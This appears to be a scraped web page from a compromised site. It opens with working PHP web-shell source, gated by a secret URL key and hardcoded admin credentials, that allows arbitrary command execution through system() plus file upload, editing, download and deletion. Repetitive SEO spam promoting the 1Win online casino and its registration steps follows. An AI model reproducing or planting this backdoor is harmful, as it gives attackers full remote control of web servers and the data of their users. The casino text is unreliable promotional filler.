if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 1Win casino – how to register and log in – collectives.berlin

Your digital paradise.

1Win casino – how to register and log in

1Win casino – how to register and log in

▢️ PLAY

Are you ready to experience the thrill of online gaming with 1win ? Registering and logging in is a straightforward process that can be completed in a few simple steps. In this article, we’ll guide you through the process, ensuring a seamless and enjoyable experience.

First, let’s start with the registration process. To begin, visit the 1Win website and click on the “Register” button. You’ll be prompted to enter your personal details, including your name, email address, and password. Make sure to choose a strong and unique password to ensure your account security.

Once you’ve completed the registration form, you’ll receive an email with a verification link. Click on the link to activate your account and start playing. If you encounter any issues during the registration process, don’t hesitate to contact 1Win’s customer support team for assistance.

Now that you’ve registered, it’s time to log in to your 1Win account. To do this, visit the 1Win website and click on the “Log In” button. Enter your email address and password, and you’ll be granted access to your account.

Before you start playing, take a moment to familiarize yourself with 1Win’s website and its various features. You can access your account information, view your transaction history, and even contact customer support from the “My Account” section.

With your account set up and your login credentials ready, you’re now ready to start playing at 1Win. Browse through the various games and categories, and find the ones that suit your taste. You can also take advantage of 1Win’s promotions and bonuses to enhance your gaming experience.

Remember, 1Win is committed to providing a safe and secure gaming environment. If you have any questions or concerns, don’t hesitate to reach out to their customer support team. They’re always available to help you with any issues you may encounter.

So, what are you waiting for? Register now and start playing at 1Win! With its user-friendly interface, wide range of games, and excellent customer support, 1Win is the perfect destination for online gaming enthusiasts.

Don’t miss out on the fun! Sign up for 1Win today and start experiencing the thrill of online gaming.

Remember, 1Win is committed to providing a safe and secure gaming environment. If you have any questions or concerns, don’t hesitate to reach out to their customer support team.

1Win Casino: A Comprehensive Guide

Before you start playing at 1Win casino, it’s essential to understand the registration and login process. In this guide, we’ll walk you through the steps to get you started.

Step 1: Download and Install the 1Win App

Begin by downloading the 1Win app from the official website or the App Store. Once downloaded, install the app on your device. Make sure to follow the installation instructions carefully to avoid any issues.

Registration: A Step-by-Step Guide

After installing the app, you’ll need to register for a new account. To do this, follow these steps:

1. Open the 1Win app and tap on the “Register” button.

2. Fill in the required information, including your name, email address, and phone number.

3. Choose a strong password and confirm it.

4. Accept the terms and conditions of the casino.

5. Verify your account by clicking on the verification link sent to your email address.

Once you’ve completed these steps, you’ll be able to log in to your account and start playing.

Login: A Quick Guide

Logging in to your 1Win account is a straightforward process. To do this, follow these steps:

1. Open the 1Win app and tap on the “Login” button.

2. Enter your email address and password.

3. Tap on the “Login” button to access your account.

That’s it! You’re now ready to start playing at 1Win casino. Remember to always gamble responsibly and within your means.

For any questions or concerns, feel free to contact the 1Win support team. They’re available 24/7 to help you with any issues you may encounter.

Registering an Account

Start by opening the 1Win app and tapping on the “Register” button. You will be prompted to enter your email address, password, and other personal details.

Make sure to fill in all the required fields accurately, as incorrect information may lead to issues with your account. Once you’ve completed the registration process, you’ll receive a confirmation email from 1Win to verify your account.

After verifying your account, you can log in to the 1Win app using your email address and password. You can also use the “Forgot Password” feature if you’ve forgotten your password.

As you start playing, you’ll notice that the 1Win app is user-friendly and easy to navigate. You can access various sections, such as sports, casino, and live games, with just a few taps on your screen.

Remember to always keep your account information and login credentials secure to avoid any potential issues. If you have any questions or concerns, you can contact 1Win’s customer support team for assistance.

With your account registered and verified, you’re ready to start exploring the world of 1Win and enjoying a wide range of games and features. Happy gaming!